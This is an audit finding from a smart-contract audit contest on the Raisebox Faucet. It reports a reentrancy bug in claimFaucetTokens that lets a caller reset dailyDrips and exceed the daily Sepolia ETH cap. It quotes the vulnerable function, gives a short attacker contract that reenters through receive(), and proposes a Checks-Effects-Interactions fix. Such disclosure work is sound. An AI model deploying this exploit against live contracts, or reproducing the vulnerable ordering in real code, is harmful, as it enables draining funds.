Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

[H-1] Reentrancy allows attackers to bypass dailySepEthCap and drain Sepolia ETH

[H-1] Reentrancy allows attackers to bypass dailySepEthCap and drain Sepolia ETH

Description

  • The contract allows users to claim a fixed amount of Sepolia ETH per day, constrained by the dailySepEthCap variable; when the day's distributed Sepolia ETH exceeds the cap the contract reports "Daily ETH cap reached".

  • The claimFaucetTokens function contains a reentrancy vulnerability that can reset dailyDrips, causing the dailyDrips + sepEthAmountToDrip <= dailySepEthCap check to be bypassed and enabling excessive Sepolia ETH drips.

function claimFaucetTokens() public {
// Checks
faucetClaimer = msg.sender;
// (lastClaimTime[faucetClaimer] == 0);
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (
faucetClaimer == address(0) ||
faucetClaimer == address(this) ||
faucetClaimer == Ownable.owner()
) {
revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
}
if (balanceOf(address(this)) <= faucetDrip) {
revert RaiseBoxFaucet_InsufficientContractBalance();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
// drip sepolia eth to first time claimers if supply hasn't ran out or sepolia drip not paused**
// still checks
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
// dailyClaimCount = 0;
}
if (
@> dailyDrips + sepEthAmountToDrip <= dailySepEthCap &&
address(this).balance >= sepEthAmountToDrip
) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
@> (bool success, ) = faucetClaimer.call{
value: sepEthAmountToDrip
}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip
? "Faucet out of ETH"
: "Daily ETH cap reached"
);
}
} else {
@> dailyDrips = 0;
}
/**
*
* @param lastFaucetDripDay tracks the last day a claim was made
* @notice resets the @param dailyClaimCount every 24 hours
*/
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
// Effects
@> lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
// Interactions
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}

Risk

Likelihood:High

  • An attacker can deploy a malicious contract that calls claimFaucetTokens and reenters claimFaucetTokens from its receive() fallback; during that reentrant call the RaiseBoxFaucet logic can reset dailyDrips to 0.

Impact:High

  • The attacker can mass-generate addresses (or deploy many contracts) to claim Sepolia ETH. After the daily dailySepEthCap is reached, the attacker uses this vulnerability to reset dailyDrips and continue claiming Sepolia ETH with additional addresses.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
interface IRaiseBoxFaucet {
function claimFaucetTokens() external;
}
contract MaliciousContract {
IRaiseBoxFaucet public target; // 目标合约
constructor(address _target) {
target = IRaiseBoxFaucet(_target);
}
// 开始攻击
function startAttack() external {
target.claimFaucetTokens(); // 第一次调用目标合约
}
// 接收 ETH 时触发重入攻击
receive() external payable {
target.claimFaucetTokens(); // 再次调用目标合约
}
}

Recommended Mitigation

Follow the Checks-Effects-Interactions (CEI) pattern: move the lastClaimTime[faucetClaimer] = block.timestamp assignment before any external transfers, and remove the dailyDrips = 0 assignment.

function claimFaucetTokens() public {
// Checks
faucetClaimer = msg.sender;
// (lastClaimTime[faucetClaimer] == 0);
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
+ lastClaimTime[faucetClaimer] = block.timestamp;
if (
faucetClaimer == address(0) ||
faucetClaimer == address(this) ||
faucetClaimer == Ownable.owner()
) {
revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
}
if (balanceOf(address(this)) <= faucetDrip) {
revert RaiseBoxFaucet_InsufficientContractBalance();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
// drip sepolia eth to first time claimers if supply hasn't ran out or sepolia drip not paused**
// still checks
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
// dailyClaimCount = 0;
}
if (
dailyDrips + sepEthAmountToDrip <= dailySepEthCap &&
address(this).balance >= sepEthAmountToDrip
) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success, ) = faucetClaimer.call{
value: sepEthAmountToDrip
}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip
? "Faucet out of ETH"
: "Daily ETH cap reached"
);
}
}
- else {
- dailyDrips = 0;
- }
/**
*
* @param lastFaucetDripDay tracks the last day a claim was made
* @notice resets the @param dailyClaimCount every 24 hours
*/
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
// Effects
- lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
// Interactions
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 7 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.